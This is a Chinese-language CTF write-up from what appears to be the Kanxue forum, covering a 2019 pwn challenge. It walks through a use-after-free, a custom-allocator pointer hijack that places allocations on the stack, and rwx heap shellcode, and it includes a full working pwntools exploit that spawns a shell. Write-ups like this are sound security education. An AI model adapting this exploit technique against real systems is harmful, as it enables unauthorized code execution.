首页
社区
课程
招聘
[原创]看雪CTF2019Q3 第六题 神秘刺客 WP
2019-9-25 23:43 5099

[原创]看雪CTF2019Q3 第六题 神秘刺客 WP

xym 活跃值
4
2019-9-25 23:43
5099

连续整理了几个小时wp了,现在又碰到烧脑的PWN题,真是头都大了。PWN最大的问题就做的时候满脑子都是它,做完之后就发现自己完全不懂了,又要重新看,重新想,给了答案不分析半天都不知道在干嘛。


老实说,这道题看着文件不大,但是里面的代码量不少,而且自己实现了malloc和free函数。我的第一反应就是这莫非使用了什么迷你库。但是看编程的方式又很统一,所以应该是作者自己设计的。所以这里要赞作者一下,能够这么敬业的自己设计一个框架来出题,在国内的比赛里面还是比较少见的。因为代码量很大,我又比较专注于漏洞,所以到最后我都没把整个分配过程搞清楚。这里先简单的分析一下:

菜单里面有Nice addr函数比较惹眼,跟进去了发现作者给出了栈地址,第一反应就是可能需要栈溢出或者分配到栈上rop。

free函数里没有把free后的指针清0,所以有uaf的风险。

malloc函数没有对大小做出限制,提供了申请超大空间的可能性。

选择菜单的时候使用了比较大的空间,而且使用的是if ( read(0, buf, 0xFFuLL) <= 0 )给我们布置栈空间的机会。

最开始的思路是利用uaf修改剩余堆空间的大小,然后通过申请超大空间直接把堆顶放到栈上,这样就可以把栈申请下来然后实现rop了,

但是一开始本机测试总能成功,而服务器一直失败,最后才发现申请的空间大小是int类型,而开启了aslr之后栈与堆之间的距离超过了这个范围。

这种方法行不通,只能换一种了。继续分析作者自定义的alloc函数,发现里面有个比较奇怪的指针heapHead_602558,它决定了下次分配可能的地址,因此我们的只要设法修改它,就可以分配到任意想要的空间了。

通过uaf,很容易的让堆块里的指针指向我们的栈空间,然后通过输入函数布置栈空间,让alloc函数在下次分配的时候发现栈空间的内容不够分,把指针保存到heapHead_602558里面,然后再趁alloc时填写size的机会,重新布置栈空间,把栈申请出来。

之前没有发现作者自定义的堆空间有rwx权限,所以一直以为要rop。后面偶然用gdb vmmap的时候发现有大红的段,才形成最后shellcode的方法。


def malloc(size):
    p.sendlineafter('2019KCTF| ', "A")
    p.sendlineafter("Size: ", str(size))
def edit(id, content):
    p.sendlineafter('2019KCTF| ', "W")
    p.sendlineafter("Write addr: ", str(id))
    p.sendafter("Write value: ", content)

def free(id):
    p.sendlineafter('2019KCTF| ', "F")
    p.sendlineafter("Index: ", str(id))

def main():
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p.sendlineafter('2019KCTF| ', "N")
    p.recvuntil("Here you go: ")
    stack_addr = p.recvline()
    stack_addr = int(stack_addr[:-1], 16) - 0xC + 0x20
    print 'stack_addr %X' % stack_addr

    #malloc(0x30000000)

    malloc(0x30)
    p.sendlineafter('2019KCTF| ', "F")
    p.recvuntil("1) ")
    heap_addr = p.recvuntil('008')
    heap_addr = int(heap_addr, 16) - 8
    print 'heap_addr %X' % heap_addr


    p.sendlineafter("Index: ", str(1) + p64(0) + '0' * 7 + p64(0) * 13 + p64(stack_addr + 0x20) * 7)

    free(1)
    malloc(0x20)


    payload = 'A' * 0x20 + p64(stack_addr - heap_addr + 0x80 - 0x28)
    edit(1, payload)

    malloc( (stack_addr - heap_addr + 0x80 - 0x40)& 0xFFFFFFF0 )

    p.sendlineafter('2019KCTF| ', "A")
    p.sendlineafter("Size: ", str(0x128) + p64(0) + '0' * 5 + p64(0) * 2 + p64(0x138) * 3)


    shellcode1 = shellcraft.amd64.linux.sh()
    free(1)
    payload = asm(shellcode1, arch = 'amd64', os = 'linux')
    edit(1, payload)
    payload = p64(heap_addr + 0x8) * (0x128 / 8)
    edit(4, payload)

    p.interactive()
    return




[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回